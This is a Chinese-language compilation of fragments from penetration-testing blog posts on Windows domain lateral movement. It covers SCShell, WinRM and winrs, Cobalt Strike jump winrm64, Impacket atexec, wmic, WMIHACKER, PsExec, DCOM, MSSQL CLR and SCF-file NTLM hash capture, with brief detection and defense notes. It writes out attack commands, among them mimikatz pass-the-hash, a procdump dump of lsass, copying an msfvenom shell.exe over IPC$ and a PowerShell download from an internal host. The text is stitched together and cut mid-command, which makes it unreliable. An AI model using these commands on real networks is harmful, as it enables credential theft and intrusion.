1.简单介绍 SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令。该工具的优点在于它不会针对SMB执行身份验证。一切都通过DCERPC执行。 支持py和exe两种文件类型。 该实用程序可以在不注册服务或创建服务的情况下远程使用。它也不必在远程系统上删除任何文件*(取决于用于执行的技术) 一切都通过DCERPC执行。 Linux 安装使用(使用py脚本可以使用散列传递来执行相同的横向移动。) 在本地系统上 sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe 然后在新创建的cmd.exe中运行SCShell.exe进行横向 192.168.50.146:8000/123.ps1')" . administrator 1qaz@wsx 然后还有就是exe的话需要我们有目标主机的明文密码,但是,明文密码不好拿到,所以还是使用py脚本来传输hash进行横向好
:$%fgh789 winrs -r:myserver -ad -u:administrator -p:$%fgh7 dir \\anotherserver\share 我们可以通过winrs来进行横向移动 当然可以在cobaltstrike加载powershell来进行WSManWinRM横向移动,WSManWinRM.ps1用法如下。 cobalt strike平台上利用winrm进行横向移动 在cobalt strike平台上有集成到winrm来进行横向移动,这里分有86位和64位的winrm ? 接着就上线成功了,也可以通过命令行界面来进行winrm的横向移动操作 jump winrm64 TARGET Listen jump winrm64 dc.one.com http ? 通过Wireshark进行抓捕可以看到WinRM进行横向移动的时候的数据包如下 ? POST /wsman?
在内网渗透过程中,当得到内网中某一台机器权限后,如果需要进一步的扩大攻击范围,那么这时候就需要进行横向移动,以被攻陷的主机作为跳板,来访问域内其他主机.通过此类攻击手段,最终可能会获得域控制器(DC)的访问权限及重要数据 mimikatz来抓取文件中hash,可躲避杀软查杀 使用Procdump将lsass.exe转储成dmp文件 procdump64.exe -accepteula -ma lsass.exe lsass copy C:\test.txt \\192.168.10.1\c$ //将test.txt文件复制到DC的C盘目录下(可复制木马等) type命令 type显示文本文件的内容 type \\192.168.10.1\c$\test.txt //读取目标机器上的文件 at命令 at用于显示或创建计划任务 可通过at命令设置计划任务执行命令,将结果写入文件中,然后通过type 利用sc进行横向流程: 与目标机器建立ipc连接 将木马文件上传至目标机器 通过sc创建一个名为test的服务 sc \\[IP] create [ServiceNname] binpath= "[path
在初次安装系统时还打开了默认共享,即所有的逻辑共享(c,d,e IPC$渗透价值 利用IPC$连接可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息,同时你可以向目标主机上传文件 IPC$利用条件 (1) 139、445端口开启:ipc连接可以实现远程登陆及对默认共享的访问,而139端口的开启表示netbios协议的应用,通139,445(win2000)端口实现对共享文件/打印机的访问 使用at/schtasks命令启动该payload文件 删除使用at/schtasks命令创建计划任务的记录 在使用at命令在远程机器上创建计划任务之前,还需要使用net use命令建立IPC$ ,下面对上面的过程做一个简单的演示: (1)查看目标系统时间 net time \\192.168.188.140 (2)将文件复制到目标系统中 首先,我们需要在MSF中生成攻击者载荷: msfvenom 之后再msf设置监听: 之后将shell.exe复制目标主机中: copy shell.exe \\192.168.188.140\C$ 之后可以在目标系统的C盘中看到成功上传的shell.exe文件
使用发现的凭证在环境中横向移动、在时间受限的操作过程中,快速可靠地使用一组新获得的凭据的能力至关重要。 这篇博客文章介绍了如何通过MSSQL CLR自动执行横向移动,而无需接触磁盘*或不需要XP_CMDSHELL,以及如何防止和检测到这种情况。 sp_configure 'show advanced options',0;RECONFIGURE 此时,SQL Server进程正在执行提供给它的任何.NET代码,因此要利用它进行横向移动 失败的话,有使用这种技术检测横向运动的几种机会: SQL Server异常登录 审核可疑事务,例如“ CREATE ASSEMBLY”,或所需的SQL查询链的其他任何部分。 由DLL本身执行的操作。 通过调整文件权限以防止从C:\ Windows \ Temp \目录中删除文件,可以在sqlservr.exe进程删除该文件之前检索该文件的副本可以将其反编译以显示原始代码: ?
下载与复制文件 在下载文件这里,我们是可以看到192.168.3.32的C盘下是有一个IP.txt文件的,这里我们使用下载文件命令将其下载到我们的桌面。 :C:\Windows|Tasks\xx.txt,这里不详细讲解schtasks的具体使用命令,只讲解在横向移动中,我们常用的操作命令。 Impacket-atexec 在上文中,我们讲述了在命令行下通过使用计划任务来进行横向移动的效果,但该效果相对来说不太方便,例如只适用于明文密码进行连接,无法支持hash、在执行了命令后,无法获得回显等 这时代理设置好了之后,我们就可以直接在本机中使用atexec.py对其内网进行横向移动了,具体命令如下: python atexec.py . 在内网渗透中,IPC是我们经常用到的手段之一,若⽬标管理员对服务器禁⽤远程登录我们就可以使⽤ IPC 来完成⼀些操作,在IPC横向移动时,较为推荐使用atexec.py+socket代理的形式对其内网进行横向移动
本文是笔者在阅读国内部分的解释WMI横向移动的文章后写下的一篇文章,希望帮助同学们在攻防中进入横向移动后根据实际场景利用WMI来解决问题。 在横向移动中的固定过程中一定离不开“信息收集”,然后分析信息根据实际场景(工作组或者域)来进行横向移动,至于使用什么工具,为什么使用这个工具,笔者使用WMI的意见。 所以本文分为三个段落,信息收集、横向移动、部分意见。 信息收集。 它可以执行文件传输操作、横向移动和主机侦察。CHANGE_USER命令做存储凭据使用。它有一个 shell 功能,可以使用 command_exec 触发,文件操作也可以远程执行。 参考文章 内网横移之WinRM 内网渗透|基于WMI的横向移动 WmiScan 135端口智能密码/WMI密码爆破 WinRM的横向移动详解 WMI横向移动 不需要 Win32_Process – 扩展
假设我们已经获得一台内网服务器的管理员权限(对端服务器允许此用户登陆即可),并且开启了WinRM管理服务器,那么我们可以利用凭证进行内网横向移动 开放端口5985的主机运行WInRM服务,可利用端口扫描工具进行探测确认 /Invoke-Mimikatz.ps1 Invoke-Mimikatz -ComputerName TARGET 图片 利用导出的凭证,继续横向渗透。 10.10.10.12:5985 -u:administrator -p:xxxxx "net localgroup administrators" 图片 也可利用msf 的 web_delivery模块远程无文件上线 此模块可用于横向移动到域内主机。
smbexec smbexec 可以通过文件共享(admin,c,ipc,d)在远程系统中执行命令。 选项 6 用于在目标系统中搜索敏感文件,例如配置文件、密码信息、缓存文件等: ? 选项 7 用于列举远程登录目标主机的用户: ? 选项 8 用于返回主菜单。 主菜单选项(2) ?
PsExec 的基本原理是:通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成一个名为”PSEXESVC“的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。
在第一篇横向移动中我们使用了MMC20.APPLICATION COM对象来进行横向移动,其实我们可以思考一个问题,微软的COM不只有MMC20.APPLICATION。 我们还可以思考一个问题: 我们只能利用来进行横向移动吗? 显然答案是否定的。 然后我们还应该思考一个问题:为什么在如此多的COM程序中,MMC20.APPLICATION能成为一个利用点? 它允许您通过以下方式查找COM对象枚举许多不同的视图(例如,按CLSID,按ProgID,按服务器可执行文件)接口在对象上,然后创建实例并调用方法。
WMIHACKER是一款用于远程主机连接工具,通过135端口进行命令执行,执行结果读取以及无需445端口进行文件传输。 具体的介绍自己去看360的介绍吧,下面演示一下它的基本用法。 执行模式包括/cmd、/shell、/upload、/download分别指执行命令、模拟shell、上传文件、下载文件 /cmd模式中GETRES取1 or 0, 1代表获取命令执行结果,0代表不获取结果 全程360无反应。 除此之外还有下面的利用方法: cscript wmihacke.vbs /cmd 192.168.0.106 administrator "abc123!" 当然其还有上传、下载文件的功能。 使用该工具时会在目标系统上产生4634、4624、4672、4776的登录日志 ? 且会泄漏源地址: ? 使用该进程进行通信: ? 溯源时可注重注意该进程、事件活动。 总的来说该工具是十分优秀的一款横向工具,且代码写的很优美,方便二开,具体细节有兴趣的可以进行分析。
横向移动是从一个受感染的宿主移动到另一个宿主的过程。渗透测试人员和红队人员通常通过执行 powershell.exe 在远程主机上运行 base64 编码命令来完成此操作,这将返回一个信标。 横向移动的困难在于具有良好的操作安全性 (OpSec),这意味着生成尽可能少的日志,或者生成看起来正常的日志,即隐藏在视线范围内以避免被发现。 我将在这篇文章中引用一些 Cobalt Strike 语法,因为它是我们主要用于 C2 的语法,但是 Cobalt Strike 的内置横向移动技术是相当嘈杂,对 OpSec 不太友好。 那里有几种不同的横向移动技术,我将尝试从高层次的概述中介绍大的以及它们如何工作,但在介绍这些方法之前,让我们澄清一些术语。 命名管道:一种进程通过 SMB (TCP 445) 相互通信的方式。 这通过将 SMB 上载权限(即管理权限)上传到目标上的 C$ 共享来实现,然后您可以将无阶段二进制文件上传到并通过 wmic 执行它,如下所示。 请注意,信标不会“签入”。
使用PowerView的横向移动列举 # Find existing local admin access for user Find-LocalAdminAccess # Hunt for sessions [NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe 一旦我们有了一个TGT作为目标用户,我们就可以在一个领域背景下作为这个用户使用服务,允许我们横向移动 使用Mimikatz的横向运动 请注意,Mimikatz的功能非常多,在本博客的多个部分都有讨论。然而,正因为如此,这个二进制文件也是非常容易被发现的。 滥用 MSSQL 数据库进行横向移动 MSSQL 数据库可以链接,这样如果你破坏一个数据库,你可以在特定用户的上下文中对其他数据库执行查询(甚至操作系统命令)如果这样配置,它甚至可以用来遍历森林边界 如果我们确定我们有权在域内编辑和链接新的组策略对象 (GPO)(请参阅“使用 PowerView进行AD 枚举”),我们可以滥用这些权限横向移动到其他计算机。
-nop[rofile] - 指定不应加载用户的配置文件。默认情况下,服务器将试图加载用户配置文件。 ok 在cobalt strike利用winrm在域中横向移动需要获取到目标主机的账号密码或hash值,这里的流量也是aes加密的 因为也是基于kerberos的一个认证。 ? 开始横向移动 ? 横向成功会返回一个会话 ? 因为目标走已控主机回连cobalt strike中 那么在目标主机中的网络连接情况: ? 此模块可用于横向移动到共享相同本地管理员帐户的主机中。 exploit/windows/winrm/winrm_script_exec ? 防御 当然,存在检测和限制WinRM远程命令执行/横向移动的机会。
WMI 自从 PsExec 在内网中被严格监控后,越来越多的反病毒厂商将 PsExec 加入了黑名单,于是黑客们渐渐开始使用 WMI 进行横向移动。 通过渗透测试发现,在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用 WMI 进行攻击。 WMI wmic ---- 使用目标系统的 cmd.exe 执行一条命令,并将结果保存在 C 盘的 ip.txt 文件中: wmic /node:192.168.3.21 /user:god\Administrator 去到 Windows Server 2008 域管的C盘下,可以发现生成的 ip.txt 文件: ? PS:wmic 执行的是一些恶意文件程序,那么将不会留下攻击日志。
但是我们进入内网的目标还是拿下尽可能多的主机,这时候选择横向移动的方法就尤为重要。今天就对一些常用的横向手法进行一个总结,有不足之处欢迎师傅们进行斧正。 但是根据研究情况来看,Windows操作系统默认不会将WMI的操作记录到日志当中,而且因为采用的是无文件攻击,所以导致WMI具有极高的隐蔽性。 攻击者可使用 DCOM 进行横向移动,通过 DCOM,攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。 使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件。 这里利用DCOM进行横向移动有两个条件: 1.能关闭靶机防火墙2.拥有cmdshell、靶机需要使用administrator账户 DCOM进行横向移动的操作如下: 1.与靶机建立ipc连接 2.cs生成木马使用
SCF文件 首先简单的说一下什么是scf文件 Microsoft Windows 是使用Windows Explorer Command 文件的主要软件程序,该文件最初由 Microsoft Corporation 但是,如果使用SCF文件访问特定的UNC路径,那么我们可以发起攻击 这里简单介绍下环境 攻击机kali:192.168.10.11 靶机win7:192.168.10.15 首先生成一个SCF文件 [Shell 然后将这个scf文件设置为共享状态 ? 当目标机器只要访问这个scf文件之后我们就可以拿到它的NTLM hash,注意这里不需要点击也可以得到,只需要能够访问即可 当用户浏览共享时,将自动从他的系统建立到SCF文件中包含的UNC路径的连接。 保存为一个xml文件 ? 上传到靶机启动即可窃取hash ?
背景 今天面试,面试官问到了这一个问题,云主机被getshell了,进行了横向移动,如何进行阻止以及防范? 通过防火墙出入站策略设置黑名单、EDR设备拦截;面试官问还有吗(当时还想着回答纵深防御,觉得太泛泛就没有说出来),我内心:……; 但是我遇到的几个场景大部分是公司旁站被打穿之后,就直接把上面的业务下线了……(确实可以防范横向移动 ,网络外联行为,用户通过验证行为清单后,可开启告警模式实现服务行为白名单,但出现新增行为时将立即产生告警事件通知用户 风险发现-弱口令:很多横向移动的方式都是通过弱口令,已经口令复用(多账号使用同一个口令 :对受保护文件违反规则的进行拦截。 可以对监控文件进行读取、写入、删除、创建、执行、链接、重命名的操作行为,并记录日志到日志分析 全局设置-IP黑白名单:这里通俗易懂就是拉黑ip操作 日后学会了其他防御方式再回来补
DCOM使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外,因此,在远程系统上托管COM服务器端的软件(通常在DLL或exe中)可以通过RPC向客户端公开其方法 攻击者在进行横向移动时 多了解一些横向移动方法,对日常的系统安全维护是大有益处的。 使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件。 - 安全客,安全资讯平台 (anquanke.com) 不一定需要有命令执行才可以横向移动,有一些方法依然可以达到同样效果,需要发挥攻击者的创造力 防御建议 厂商 1、确保卸载实用软件时,删除遗留的DCOM 注册表项; 2、不要在注册表中创建指向并不存在的二进制文件的DCOM程序路径。 参考文章:如何利用DCOM实现横向渗透 - FreeBuf网络安全行业门户